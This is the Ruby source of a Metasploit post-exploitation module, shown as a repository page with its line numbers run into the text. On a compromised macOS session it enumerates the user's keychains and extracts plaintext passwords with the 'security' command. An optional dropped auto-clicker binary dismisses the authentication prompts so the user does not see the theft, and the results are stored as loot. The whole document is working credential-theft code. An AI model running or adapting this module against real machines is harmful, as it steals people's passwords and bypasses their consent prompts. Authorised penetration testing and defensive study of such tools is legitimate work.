Path: blob/master/modules/post/osx/gather/enum_keychain.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::OSX::System7include Msf::Exploit::FileDropper89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OS X Gather Keychain Enumeration',14'Description' => %q{15This module presents a way to quickly go through the current user's keychains and16collect data such as email accounts, servers, and other services. Please note:17when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication18alert flash briefly on their screen that gets dismissed by a programmatically triggered click.19},20'License' => MSF_LICENSE,21'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],22'Platform' => [ 'osx' ],23'SessionTypes' => [ 'meterpreter', 'shell' ],24'Notes' => {25'Stability' => [CRASH_SAFE],26'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],27'Reliability' => []28}29)30)3132register_options(33[34OptBool.new('GETPASS', [false, 'Collect passwords.', false]),35OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),36OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),37OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])38]39)40end4142def list_keychains43keychains = cmd_exec('security list')44user = cmd_exec('whoami')45print_status("The following keychains for #{user.strip} were found:")46print_line(keychains.chomp)47return keychains =~ /No such file or directory/ ? nil : keychains48end4950def enum_accounts(_keychains)51cmd_exec('whoami').chomp52out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")5354accounts = []5556out.split("\n").each do |line|57next if line =~ /NULL/5859case line60when /"acct"/61accounts << Hash.new62accounts.last['acct'] = line.split('<blob>=')[1].split('"')[1]63when /"srvr"/64accounts.last['srvr'] = line.split('<blob>=')[1].split('"')[1]65when /"svce"/66accounts.last['svce'] = line.split('<blob>=')[1].split('"')[1]67when /"desc"/68accounts.last['desc'] = line.split('<blob>=')[1].split('"')[1]69end70end7172accounts73end7475def get_passwords(accounts)76(1..accounts.count).each do |num|77if accounts[num].key?('srvr')78c = 'find-internet-password'79s = accounts[num]['srvr']80else81c = 'find-generic-password'82s = accounts[num]['svce']83end8485cmd = cmd_exec("security #{c} -ga \"#{accounts[num]['acct']}\" -s \"#{s}\" 2>&1")8687cmd.split("\n").each do |line|88if line =~ /password: /89if line.split[1].nil?90accounts[num]['pass'] = nil91else92accounts[num]['pass'] = line.split[1].gsub('"', '')93end94end95end96end97return accounts98end99100def save(data, kind = 'Keychain information')101l = store_loot(102'macosx.keychain.info',103'plain/text',104session,105data,106'keychain_info.txt',107'Mac Keychain Account/Server/Service/Description'108)109110print_good("#{@peer} - #{kind} saved in #{l}")111end112113def run114@peer = "#{session.session_host}:#{session.session_port}"115116keychains = list_keychains117if keychains.nil?118print_error("#{@peer} - Module timed out, no keychains found.")119return120end121122cmd_exec('/usr/bin/whoami').chomp123accounts = enum_accounts(keychains)124save(accounts)125126if datastore['GETPASS']127if datastore['GETPASS_AUTO_ACCEPT']128print_status("Writing auto-clicker to `#{clicker_file}'")129write_file(clicker_file, clicker_bin)130register_file_for_cleanup(clicker_file)131132print_status('Dumping keychain with auto-clicker...')133passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])134save(passwords, 'Plaintext passwords')135136begin137count = JSON.parse(passwords).count138print_good("Successfully stole #{count} passwords")139rescue JSON::ParserError140print_error('Response was not valid JSON')141end142else143begin144passwords = get_passwords(accounts)145rescue StandardError146print_error("#{@peer} - Module timed out, no passwords found.")147print_error("#{@peer} - This is likely due to the host not responding to the prompt.")148end149save(passwords)150end151end152end153154def clicker_file155@clicker_file ||=156"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"157end158159def clicker_bin160File.read(File.join(161Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'162))163end164165end166167168